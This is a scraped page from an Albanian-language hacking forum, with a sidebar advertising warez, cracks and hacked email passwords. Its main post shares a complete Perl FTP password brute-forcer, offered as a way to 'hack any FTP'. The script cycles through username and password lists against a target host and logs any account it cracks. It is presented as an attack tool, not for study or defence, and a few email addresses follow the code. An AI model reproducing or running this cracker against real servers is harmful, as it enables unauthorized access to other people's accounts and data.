Soft Kosovo Team www.softks.net.ms - LIDHUNI ME NE - IT AND HACKING

[www.softks.1forum.biz] www.softks.net.ms
 
ForumForum  CalendarCalendar  GalleryGallery  PytėsoriPytėsori  KėrkoKėrko  RegjistrohuRegjistrohu  identifikimiidentifikimi  Kontakto Kontakto  
identifikimi
Identifikimi:
Fjalėkalimi:
Mė Identifiko Automatikisht: 
:: Harrova fjalkalimin
Navigation

OFERTA

HACKING

TUTORIALS

EXPLOIT

INTERNET

CRACZ AND SERIALZ

WAREZ

PRODUKTET TONA

FEJA ISLAME

Tema Fundit
» POEZI QESHARAKE DASHURIE
Sun May 06, 2012 3:30 am nga sweet.love

» WWW.RKS.AL
Thu Nov 04, 2010 4:31 pm nga edy007

» wWw.Dardania.com
Thu Sep 02, 2010 2:43 am nga TiGrI_GV

» mir se vini
Thu Sep 02, 2010 2:43 am nga TiGrI_GV

» Kerkojme V.I.P dhe Moderator
Tue Aug 24, 2010 9:02 pm nga leeni

» Disa E-mail hacked amerikane me passworda
Tue Aug 24, 2010 8:54 pm nga leeni

» bLloko fb dikujt
Tue Aug 24, 2010 8:51 pm nga leeni

» Konkuro per V.I.P
Tue Aug 24, 2010 8:47 pm nga leeni

» Userbar Te Softks.Tk Per Signature
Fri Aug 20, 2010 4:59 pm nga leeni

» rbd-ks.team-forum.net :::Regjistrohuni plz....
Fri Aug 20, 2010 4:50 pm nga leeni

» www.KDG-Crew.eu - Kosova Defacers Group - Regjistrohuni
Fri Aug 20, 2010 10:06 am nga leeni

» Prezantimi Ketu
Thu Aug 19, 2010 10:17 pm nga leeni

» Prezantohu tani posto
Thu Aug 19, 2010 10:12 pm nga leeni

» Hacko PC Dikujna Permes Msn ?
Thu Aug 19, 2010 9:57 pm nga leeni

» Merr pass ne msn shume lehte
Sun Jul 25, 2010 1:21 pm nga hamdi seniku

» Internet Calls [New softfware]
Tue Jun 29, 2010 9:57 pm nga saimiri

» Dergoni SmS Falas.
Tue Jun 29, 2010 9:53 pm nga saimiri

» erdha kam qene i regjistruar por nuk po mundem ta gjej passin
Tue Jun 29, 2010 8:33 pm nga saimiri

» Mjeksia-Grup
Sat May 08, 2010 4:05 pm nga X-persoN

» Joomla Exploit
Fri Apr 30, 2010 11:39 pm nga Vizitor

Top posters
HarM
 
OwneR
 
Sela
 
sirena
 
berati123
 
leeni
 
fiki
 
bujari
 
vaLdrin.I
 
sheta
 
Sondazh
Kėrko
 
 

Display results as :
 
Rechercher Advanced Search
December 2016
MonTueWedThuFriSatSun
   1234
567891011
12131415161718
19202122232425
262728293031 
CalendarCalendar
Partneret

KDG-Crew.eu


Share | 
 

 FTP Pass Cracker Hack any FTP

Shiko temėn e mėparshme Shiko temėn pasuese Shko poshtė 
AutoriMesazh
HarM
WebMaster
WebMaster


Number of posts : 177
Age : 22
Location : ne Softks.tk
Registration date : 09/07/2008

MesazhTitulli: FTP Pass Cracker Hack any FTP   Thu Jul 10, 2008 1:14 pm

--------------------------------------------------------------------------------

Ftp pass cracker hack any ftp!!!!!!!!!!!!!!!(cool)

Code:
#!/usr/bin/perl
#
# Ftp_Crack.pl - By B-r00t. 06/07/2001.
#
# An FTP Protocol Hacker.
# Attempts to use brute force guesses to gain
# access to an ftp account on the target host.
# Cracked Accounts will be appended to FTP_CRACK.
#
# Caution: If the FTP Deamon is logging connections
# this is gonna make a serious mark in the Logs.
#
# Options include :
# Use either a single username OR a list of usernames.
# Use either a single password OR a list of passwords.
#
# ENJOY!

use strict;
use Getopt:td;
use Net::FTP;

# CLEAR SCREEN.
print "\n" x 40;

# COMMANDLINE.
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };

# LOGFILE FILE TEST.
if (! -e "FTP_CRACK") {
open (LOGFILE, ">FTP_CRACK") or die "\a\nERROR UNABLE TO OPEN FTP_CRACK.\n $!";

print LOGFILE "\n Ftp_Crack.pl by B-r00t aka B#.";
print LOGFILE "\n Automated FTP Account Password Cracking.";
print LOGFILE "\n\n\n\n";
close LOGFILE;
};

# GLOBALS.
my $HOST = $opt_h; # Hostname of target server.
my $USER; # Username being tried.
my $PASS; # Password being tried.
my @USERNAMES; # Usernames in list.
my @PASSWORDS; # Passwords in list.
my $ftp; # Connection to host.


if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
print "\nUSING SINGLE USERNAME: $USERNAMES[0]";
} else {
print "\nREADING USERNAMES FROM $opt_U.";
open (USERFILE, "$opt_U") or die "\a\nERROR UNABLE TO OPEN $opt_U.\n $!";
@USERNAMES = <USERFILE>;
close USERFILE;
};

if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
print "\nUSING SINGLE PASSWORD: $PASSWORDS[0]";
} else {
print "\nREADING PASSWORDS FROM $opt_P.";
open (PASSFILE, "$opt_P") or die "\a\nERROR UNABLE TO OPEN $opt_P.\n $!";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
};

# MAIN LOOP
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
&connect;
&do_it;
};
};
&quit;
exit;

# CONNECTION.
sub connect {
print "\n\nATTEMPTING CONNECTION TO $HOST.";
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
print "\n\nOK ... CONNECTED!!!\n\n";
};

# DO_IT.
sub do_it{
print "\nTRYING : USERNAME = $USER PASSWORD = $PASS";
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};

# SUCCESS.
sub success {
open (LOGFILE, ">>FTP_CRACK") or die "\a\nERROR UNABLE TO OPEN FTP_CRACK.\n $!";
print "\a\a\a";
print "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n\n\n\n";
print LOGFILE "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n";
close LOGFILE;
&quit;
};

# USAGE.
sub usage {
print "\n\n\n";
print "\nUSAGE : $0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname of FTP Server.";
print "\n-u = Single Username to crack.";
print "\n-U = List of Usernames to crack.";
print "\n-p = Single Password to use.";
print "\n-P = List of Passwords to use.";
print "\nCracked Accounts are appended to FTP_CRACK.";
print "\n\n";
exit;
};

# QUIT.
sub quit {
print "\n\nI'M DONE ......\n\n";
exit;
};

# Another fine B-r00t production ...
#
# Thanks To:
# All The PPL With Easy To Guess Passwords!
# Admins Who Think Logs Are Something You Burn.
# That One Doris ... U-Know-Who-U-R!
# Mum & Dad.
# Da Big5 Massive ...!
#
# B-r00t aka B#. 2001.
# "If You Can't B-r00t Then Just B#."
# Br00tzC0ntactz@Hotmail.Com
# ICQ 24645508.
ermal.ismajli@hotmail.com
vali.tba@hotmail.com
beni.henry@hotmail.com
Mbrapsht nė krye Shko poshtė
Shiko profilin e anėtarit http://www.softks.tk
 
FTP Pass Cracker Hack any FTP
Shiko temėn e mėparshme Shiko temėn pasuese Mbrapsht nė krye 
Faqja 1 e 1

Drejtat e ktij Forumit:Ju nuk mund ti pėrgjigjeni temave tė kėtij forumi
Soft Kosovo Team www.softks.net.ms - LIDHUNI ME NE - IT AND HACKING :: Informacione & Diskutime te Ndryshme :: Zone per Hacking-
Kėrce tek: